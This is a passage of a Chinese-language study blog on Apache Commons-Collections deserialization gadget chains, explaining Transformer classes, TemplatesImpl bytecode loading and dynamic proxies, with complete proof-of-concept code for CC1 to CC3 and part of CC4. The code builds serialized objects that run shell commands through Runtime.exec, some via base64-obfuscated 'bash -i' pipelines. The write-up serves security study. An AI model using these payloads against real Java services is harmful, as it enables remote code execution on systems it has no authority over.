前置说明
依据这张图来进行一些分析
参考:Commons-Collections 1-7 利用链分析 – 天下大木头 (wjlshare.com)
前置知识
CC链包含了好多的Transformer
,这部分知识在P
神的JAVA安全漫谈 中讲的挺清楚的Java安全漫谈 - 09.反序列化篇(3) ,简单提一下
源码-8u40
Transformer
是⼀个接⼝,代表调用该对象的transform
方法
1 2 3 public interface Transformer { Object transform (Object input) ; }
很多的transformer
系列对象都实现了该接口,并且进行重写,比如熟悉的像InvokerTransformer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class InvokerTransformer implements Transformer , Serializable { public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); }catch { } } } }
借用一下p
神在JAVA安全漫谈 中的Java安全漫谈 - 09.反序列化篇(3) 下的原话
这里的回调 感觉就是调用对应实现了Transformer
接口的类的自定义的transform
方法。
其源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { private static final long serialVersionUID = 7023152376788900464L ; protected final Transformer keyTransformer; protected final Transformer valueTransformer; public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } }
由于其构造函数是protected
修饰的,所以通常是没办法在我们的代码中直接实例化对象出来的,那么就利用提供的decorate
函数接口即可。
看源码就知道
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class ConstantTransformer implements Transformer , Serializable { static final long serialVersionUID = 6374440726369055124L ; private final Object iConstant; public ConstantTransformer (Object constantToReturn) { this .iConstant = constantToReturn; } public Object transform (Object input) { return this .iConstant; } }
即构造函数的时候传入⼀个对象,当调用transform
方法时再将这个对象返回,最开始我想着这不是多此一举吗,有什么用捏。后面才知道,这可能就是为了传递某些无法进行序列化的类吧,比如Runtime
的。
这个可以说是很关键的一个类了,能执行任意方法。看下源码,主要关注三个参数的构造函数和transform
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public class InvokerTransformer implements Transformer , Serializable { static final long serialVersionUID = -8653385846894047688L ; private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { this .iMethodName = methodName; this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } catch { } } } }
即当调用到该类的transform
函数时,约等于执行input.iMethodName(this.iArgs)
。
包含了一个Transformer
的数组,即数组中前⼀个Transformer
的transform
函数执行的返回结果,作为后⼀个Transformer
的transform
函数的参数输入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public class ChainedTransformer implements Transformer , Serializable { static final long serialVersionUID = 3514945074733160196L ; private final Transformer[] iTransformers; public ChainedTransformer (Transformer[] transformers) { this .iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; } }
比如如下在反序列化中常见的执行Runtime.exec
的方法
1 2 3 4 5 6 7 8 9 10 ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] {null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, new Object[]{"touch dddd" })}); chain.transform(123 );
那么实际的的调用链如下,实际调试一下应该更清楚一些。
所以通常情况下,我们就是需要找到能调用到某个对象的transform
函数的链子。
TemplatesImpl
这个不知道被设计出来干啥的,不过在JAVA
反序列化中通常用来加载字节码。
前置知识
参考:Java安全漫谈 - 13.Java中动态加载字节码的那些方法
JAVA
虚拟机JVM
实际加载运行的是.class
文件,而这个.class
文件,里面的实际数据就是字节码。那么如果我们可以自定义一个类,其构造函数为打印Hello World
,然后将之编译成.class
文件,然后让JAVA
去加载,就可以触发该类的构造函数了。
那么这个加载.class
文件的方法,就是defineClass
,以下就是p神提供的一个例子,运行会打印出Hello World
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 package test;import java.lang.reflect.Method;import java.util.Base64;public class test { public static void main (String[] args) throws Exception { Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass" , String.class,byte [].class, int .class, int .class); defineClass.setAccessible(true ); byte [] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM" ); Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello" , code, 0 , code.length); hello.newInstance(); } }
那么我们需要寻找的链子,就是能够调用到defineClass
方法的链子,这里就是TemplatesImpl
,其调用链如下:
1 TemplatesImpl.newTransformer() ->TemplatesImpl.getTransletInstance() -> TemplatesImpl.defineTransletClasses()-> TransletClassLoader.defineClass()
相关实际调用截图如下
链子
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
这里的_bytecodes[i]
即为TemplatesImpl
类中私有成员,我们可以通过反射来为其赋值。
TrAXFilter
该类未实现Serializable
接口,无法进行序列化,所以使用的时候通常结合ConstantTransformer
来搭配使用。主要关注其构造函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class TrAXFilter extends XMLFilterImpl { private TransformerImpl _transformer; public TrAXFilter (Templates templates) throws TransformerConfigurationException { _transformer = (TransformerImpl) templates.newTransformer(); } }
即会依据传入的Templates
类对象,来调用其newTransformer
函数,这个是不是就是可以调用到之前提到的TransformerImpl.newTransformer()
从而加载字节码呢。
同样也是一个实现了Transformer
接口的类,主要关注其构造函数和重写的transform
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public class InstantiateTransformer implements Transformer , Serializable { private final Class[] iParamTypes; private final Object[] iArgs; private InstantiateTransformer () { this .iParamTypes = null ; this .iArgs = null ; } public InstantiateTransformer (Class[] paramTypes, Object[] args) { this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { try { if (!(input instanceof Class)) { throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } else { Constructor con = ((Class)input).getConstructor(this .iParamTypes); return con.newInstance(this .iArgs); } } catch (NoSuchMethodException var6) { } } }
可以看到有两个构造函数,当传入有参构造函数时,其成员iParamTypes
和iArgs
会被赋值,然后在其transform
函数中,会依据成员iParamTypes
和iArgs
来生成实例化对象。
1 2 Constructor con = ((Class)input).getConstructor(this .iParamTypes); return con.newInstance(this .iArgs);
那么我们就可以借助该类的transform
函数,来生成TrAXFilter
类的实例化对象,从而在TrAXFilter
的构造函数中,调用到TemplatesImpl.newTransformer()
来加载字节码,完成任意函数调用。
经典链子CCI
ChainedTransformer->ConstantTransformer->InvokerTransformer
为了方便,自己命名为CCI
前置知识
可以使用ChainedTransformer.transform()
来调用其中该数组中的各种transformer
,从而获取Runtime
来执行命令。举个简单的例子如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import java.lang.reflect.Field;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;public class test { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] {null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, new Object[]{"touch abc" })}); chain.transform("aaa" ); } }
调用时ChainedTransformer.transfor()
满足如下条件即可
进入之后会一直循环调用
直到最后调用到Runtime的exec
实际使用
调用transform
数组获取runtime
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] {null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, new Object[]{"ping dnslog.cn" })}); HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain); TiedMapEntry tiedmap = new TiedMapEntry(map,123 );
代表如下获取Runtime
的链子
从LazyMap.get()
开始
这里的factory
为ChainedTransformer
,其transform
为一个数组
key
为123
可以随便设置,但是实际调试的时候不知道为什么进不去,应该是p
神讲的
所以导致运行到上述情况时,上层的HashMap
中的key已经是一个进程了,所以有值了,导致调试无法进入。
经典链子ITN
InvokerTransformer->TemplatesImpl.newTransformer
同样为了方便自己命名为ITN
前置知识
可使用TemplatesImpl.newTransformer
来调用到defineClass
加载字节码任意调用,给个简单的例子
多方参考:
利用TemplatesImpl加载字节码 - (yang99.top)
JavaDeserializeLab学习(jdk1.8.0_301) – maxzed
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package test;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;import java.util.Base64;import java.util.HashMap;import java.util.Map;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;public class test { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(String.valueOf(AbstractTranslet.class)); CtClass ctClass = pool.get(test.class.getName()); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); String code = "{java.lang.Runtime.getRuntime().exec(\"bash -c {echo,dG91Y2ggYWJj}|{base64,-d}|{bash,-i}\");}" ; ctClass.makeClassInitializer().insertAfter(code); ctClass.setName("evil" ); byte [] bytes = ctClass.toBytecode(); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes" , new byte [][] {bytes}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl()); obj.newTransformer(); } }
设置的命令为touch abc
。
调试如下,可以看到,满足TemplatesImpl.newTransformer
调用时,存在_name
,即可调用对应的_bytecodes
的字节码。
实际使用
JAVA版本限制
参考:BCEL ClassLoader去哪了 | 离别歌 (leavesongs.com)
也就是Java 8u251
以后,JAVA
里的ClassLoader
被删除,但是官网的JDK
里还是有的,所以跑上面的例子代码还是能跑通,但是如果实际环境中可能就不行了,这个不是很懂。
那么如果没有ClassLoader
的话,也就不存在下面的加载字节码的方法了,具体原因是newTransformer
函数内部会调用到ClassLoader
来加载字节码,这个可以参考如下:利用TemplatesImpl加载字节码 - (yang99.top)
解析
该链子的使用方法参考我熊哥的博客:JavaDeserializeLab学习(jdk1.8.0_301) – maxzed
加载字节码,直接运行所需命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(String.valueOf(AbstractTranslet.class)); CtClass ctClass = pool.get(test.class.getName()); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); String code = "{java.lang.Runtime.getRuntime().exec(\"bash -c {echo,Li90ZXN0LnNo}|{base64,-d}|{bash,-i}\");}" ; ctClass.makeClassInitializer().insertAfter(code); ctClass.setName("evil" ); byte [] bytes = ctClass.toBytecode();TemplatesImpl tempIm = new TemplatesImpl(); setField(tempIm, "_name" , "asd" ); setField(tempIm, "_bytecodes" , new byte [][]{bytes}); setField(tempIm, "_tfactory" , new TransformerFactoryImpl()); InvokerTransformer invTransf = new InvokerTransformer("newTransformer" , null , null ); HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,invTransf); TiedMapEntry tiedmap = new TiedMapEntry(map,tempIm);
代表如下运行字节码链子
也是从LazyMap.get()
开始,这里调试时上一层HashMap
中就没有key
值了,所以可以进去
然后进入transform
中,可以看到对应的要执行的命令字节码
1 [-54, -2, -70, -66, 0, 0, 0, 52, 0, 35, 10, 0, 3, 0, 13, 7, 0, 33, 7, 0, 15, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 11, 76, 116, 101, 115, 116, 47, 116, 101, +499 more]
对比一下在没有序列化时的数据
1 [-54, -2, -70, -66, 0, 0, 0, 52, 0, 35, 10, 0, 3, 0, 13, 7, 0, 33, 7, 0, 15, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 11, 76, 116, 101, 115, 116, 47, 116, 101, +499 more]
是完全一样的,那么就会调用到newTransform
来调用相关字节码
参考:Commons-Collections 1-7 利用链分析 – 天下大木头 (wjlshare.com)
经典链子CITTN
ChainedTransformer->ConstantTransformer->InstantiateTransformer->TrAXFilter->TemplatesImpl
同样为了方便自己命名为CITTN
测试链
即结合之前提到的这几个类,也能想出相关的链子,相关测试如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.*;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.lang.reflect.Field;public class test { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(String.valueOf(AbstractTranslet.class)); CtClass ctClass = pool.makeClass("test" ); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); String code = "{java.lang.Runtime.getRuntime().exec(\"touch bbbb\");}" ; ctClass.makeClassInitializer().insertAfter(code); ctClass.setName("evil" ); byte [] classBytes = ctClass.toBytecode(); TemplatesImpl templates = TemplatesImpl.class.newInstance(); setField(templates, "_bytecodes" , new byte [][]{classBytes}); setField(templates, "_name" , "name" ); setField(templates, "_class" , null ); ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) }); chain.transform("test" ); } public static void setField (Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } }
解析
首先自然还是ChainedTransformer
中的数组调用transform
函数,之后调用ConstantTransformer
的transform
函数,获取到TrAXFilter
类后,再调用InstantiateTransformer
的transform
函数,其中会生成TrAXFilter
的实例化对象
随后即可进入TrAXFilter
的构造函数,传入的this.iArgs
即为实例化InstantiateTransformer
时传入的Templates
对象
然后就调用到利用反射为Templates
对象准备的字节码_bytecodes
,从而完成任意函数执行。
一、CC1
前置知识
主要是动态代理对象的知识
参考:Java安全漫谈 - 11.反序列化篇(5)
InvocationHandler
有一个和Transformer
接口很像的类InvocationHandler
1 2 3 4 public interface InvocationHandler { public Object invoke (Object proxy, Method method, Object[] args) throws Throwable ;}
当该代理对象调用任意方法时,都会被替换为调用之前传入的实现了InvocationHandler
类下重写的invoke
方法,以下是个简单的例子。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class test { public static void main (String[] args) { class Demo implements InvocationHandler { protected Map map; public Demo (Map map) { this .map = map; } @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable { System.out.println("Calling invoke...." ); if (method.getName().compareTo("get" ) == 0 ){ System.out.println("Hook method: " + method.getName()); return "Hacked return string" ; } return method.invoke(this .map,args); } } InvocationHandler invocationHandler = new Demo(new HashMap()); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler); proxyMap.put("hello" ,"world" ); String result = (String) proxyMap.get("hello" ); System.out.println(result); } }
那么就有希望调用到某个类的invoke
函数了,这里的CC1
即选取的尝试调用AnnotationInvocationHandler.invoke()
JAVA源码版本-8u40
细节如下:
1 2 3 4 5 AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform()
限制
JDK
版本:8u71
及以前版本,原因是在8u71
之后的版本中sun.reflect.annotation.AnnotationInvocationHandler.readObject()
函数发生了变化。
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.HashSet;import java.util.Map;public class CC1 { public static void main (String[] args) throws Exception { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, new Object[]{"touch aaaaa" })}); HashMap innermap = new HashMap(); LazyMap map = (LazyMap) LazyMap.decorate(innermap,chain); Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class,Map.class); handler_constructor.setAccessible(true ); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); InvocationHandler handler = (InvocationHandler)handler_constructor.newInstance(Override.class,proxy_map); try { ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc1" )); outputStream.writeObject(handler); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc1" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } }
解析
AnnotationInvocationHandler.readObject()
AnnotationInvocationHandler.invoke()
LazyMap.get()
还是经典的链子CIR
二、CC2
JAVA源码版本-8u40
细节如下:
1 2 3 4 PriorityQueue.readObject()->heapify()->siftDown()->siftDownUsingComparator() TransformingComparator.compare() InvokerTransformer.transform() Templateslmpl.newTransfomer()
PriorityQueue
在commons-collections4
下才开始有
1 2 3 4 5 <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency >
限制
JDK
版本:暂无
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.PriorityQueue;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;public class CC2 { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(String.valueOf(AbstractTranslet.class)); CtClass ctClass = pool.makeClass("test" ); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); String code = "{java.lang.Runtime.getRuntime().exec(\"touch aaaa\");}" ; ctClass.makeClassInitializer().insertAfter(code); ctClass.setName("evil" ); byte [] classBytes = ctClass.toBytecode(); TemplatesImpl templates = TemplatesImpl.class.newInstance(); setField(templates, "_bytecodes" , new byte [][]{classBytes}); setField(templates, "_name" , "name" ); setField(templates, "_class" , null ); Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer" ) .getDeclaredConstructor(String.class); constructor.setAccessible(true ); InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer" ); TransformingComparator comparator = new TransformingComparator(transformer); PriorityQueue queue = new PriorityQueue(1 ); Object[] queue_array = new Object[]{templates,1 }; setField(queue,"queue" ,queue_array); setField(queue,"size" ,2 ); setField(queue,"comparator" ,comparator); try { ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2" )); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } public static void setField (Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } }
解析
PriorityQueue.readObject()
这里同理需要看一下writeObject
函数
也是对应读写的,所以可以利用反射设置PriorityQueue
的queue
,使其可控,然后进入下面的heapify()
函数
PriorityQueue.heapify()
再进入siftDown
PriorityQueue.siftDown()
其中comparator
利用反射设置为TransformingComparator
,随后进入siftDownUsingComparator
函数
PriorityQueue.siftDownUsingComparator()
调用到实现了Comparator
接口的TransformingComparator.comparator()
函数
那么之前利用反射设置了TransformingComparator.transformer
为InvokerTransformer
,那么就可以调用到InvokerTransformer.transoform
,并且其参数即为这里的obj1
,也为PriorityQueue.queue
,这个之前设置为了TemplatesImpl
,即最后可调用到经典链子ITN
,完成利用。
三、CC3
JAVA源码版本-8u40
细节如下
1 2 3 4 5 AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform()
之后的链子就是经典CITTN
链了
限制
JDK
版本:暂无
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CC3 { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(String.valueOf(AbstractTranslet.class)); CtClass ctClass = pool.makeClass("test" ); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); String code = "{java.lang.Runtime.getRuntime().exec(\"touch aaaa\");}" ; ctClass.makeClassInitializer().insertAfter(code); ctClass.setName("evil" ); byte [] classBytes = ctClass.toBytecode(); TemplatesImpl templates = TemplatesImpl.class.newInstance(); setField(templates, "_bytecodes" , new byte [][]{classBytes}); setField(templates, "_name" , "name" ); setField(templates, "_class" , null ); ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) }); HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain); Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class,Map.class); handler_constructor.setAccessible(true ); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); InvocationHandler handler = (InvocationHandler)handler_constructor.newInstance(Override.class,proxy_map); try { ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3" )); outputStream.writeObject(handler); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } public static void setField (Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } }
解析
即按照CC1
的前半部分链子加上经典的CITTN
即可,不过多赘述了
四、CC4
JAVA源码版本-8u40
细节如下:
1 2 3 4 5 PriorityQueue.readObject()->heapify()->siftDown()->siftDownUsingComparator() TransformingComparator.compare() ChainedTransformer.transform() InstantiateTransformer.transform() TrAXFilter构造函数
限制
JDK
版本:暂无
PriorityQueue
在commons-collections4
下才开始有
1 2 3 4 5 <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency >
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.*;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import org.apache.commons.collections4.comparators.TransformingComparator;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CC4 { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(String.valueOf(AbstractTranslet.class)); CtClass ctClass = pool.makeClass("test" ); ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName())); String code = "{java.lang.Runtime.getRuntime().exec(\"touch aaaa\");}" ; ctClass.makeClassInitializer().insertAfter(code); ctClass.setName("evil" ); byte [] classBytes = ctClass.toBytecode(); TemplatesImpl templates = TemplatesImpl.class.newInstance(); setField(templates, "_bytecodes" , new byte [][]{classBytes}); setField(templates, "_name" , "name" ); setField(templates, "_class" , null ); ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) }); TransformingComparator 